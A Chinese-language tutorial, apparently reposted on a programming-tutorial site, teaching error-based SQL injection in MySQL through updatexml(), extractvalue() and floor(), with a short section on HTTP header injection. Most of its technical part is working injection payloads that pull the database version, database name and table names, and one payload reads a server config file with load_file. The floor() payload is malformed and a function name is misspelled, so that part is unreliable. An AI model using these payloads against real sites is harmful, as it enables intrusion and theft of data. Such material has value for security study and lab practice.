Java教程

SQL注入—报错函数

本文主要是介绍SQL注入—报错函数,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
适用情况 Insert/update/delete型数据库的处理,都是通过报错函数进行数据注入回显的,或者通过DNSlog注入来获取数据。 如:注册,修改,删除等都属于数据库的上述三种操作,其中delete型需要在删除选项处查看网站URL,其余两种只需要在输入数据处进行注入即可 常用报错函数 1.updatexml():Mysql中对XML文档数据进行查询和修改的XPATH函数,通过xml查询过程中的返回的错误获取报错信息 updatexml(xml_target, xpath, new_xml) xml_target::需要操作的xml片段,为表中字段名 xpath:需要更新的xml路径(xpath格式的字符串) new_xml:更新后的内容 第二个参数xpath的定位必须是有效的,否则会发生错误。 如果Xpath传入的是一个表达式,那么会先把表达式执行一遍再进行报错。 实际上第一个和第三个传入的参数都是错误的,重点是第二个传入的参数 2.extractvalue():Mysql中对XML文档数据进行查询的函数,通过xml查询过程中的返回的错误获取报错信息,并返回包含查询值的字符串 extravalue(xml_document,xpath_string) 构造XPATH定位的错位 3.floor():Mysql中用来取整的函数,通过数据生成错误产生报错信息 基于函数报错的信息获取 思路:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。 前置条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端 具体操作 1.updatexml() # 法一    admin' and updatexml(1,concat(0x7e,version()),0) #    admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database())),0) #    此时出现报错Subquery returns more than 1 row,添加限制    admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #  # 0x7e是~的十六进制,用于显示完整信息,避免被吃掉,也可以在抓包中方便查找的索引   # limit m n 表示从第m行开始,往前n位    之后可以通过修改limit的m值来查看不同的类,其他操作以此类推,也可以通过Burp进行抓包,使用Intruder进行爆破,在limit的m值处添加爆破点,对列数进行联系爆破 # 解释:admin' 与前面的单引号形成闭合,后面的注释符注释掉后面的单引号,由于admin是正确的语句,即已经进入数据库内部并过滤后面的操作,所以updatexml()是正确执行,        只是第一个传入参数和第三个传入参数是错误的所以产生报错信息 # 法二    admin' or updatexml(1,concat(0x7e,version()),0) or' # 解释:这里就是or的逻辑判断,or的特点是一真即真,admin'与前面单引号形成闭合,后面的or的单引号与之后的数据形成闭合,而之后的数据必然正确,所以第二个or为真,        即整个语句为真,所以updatexml()正常执行,剩下的和法一一致 2.extractvalue() kobe' and extractvalue(0,concat(0x7e,database())) # kobe' or extractvalue(0,concat(0x7e,database())) or' # 原理和updatexml()差不多,,只不过传两个参数,第一个参数错误,第二个参数正常 # 读取文件 kobe' and extractvalue(0,concat(0x7e,(select load_file("C:\phpStudy\PHPTutorial\MySQL\config.inc.php")),0x7e)) # 3.floor() kobe' and (select 2 from (select count(*),concat version(),floor(rand(0)*2) x from information_schema.tables group by x )a) #利用的逻辑差不多 补充 Http Header注入 有时候,后台开发人员为了验证客户端头信息,比如常用的cookie验证,或者通过http header头信息获取客户端的一些信息,比如useragent,accept等会对http header信息进行获取并且使用SQL进行处理, 如果此时没有足够的安全考虑则会导致基于http header的SQL Inject漏洞。 Http header注入需要我们关注数据包与数据库存在交互的地方,如果这种地方过滤比严格,闭合简单,可以通过报错函数注入出数据库的数据 如:user-agent,cookie等等 总结 SQL注入的精髓在于他没有原来回显位,而你通过构造完成了闭合,继而通过报错函数的报错信息创造了回显位,让数据库的信息展现出来,只要闭合完成,那么你的报错函数正常执行,三种就都是一样的结果
这篇关于SQL注入—报错函数的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!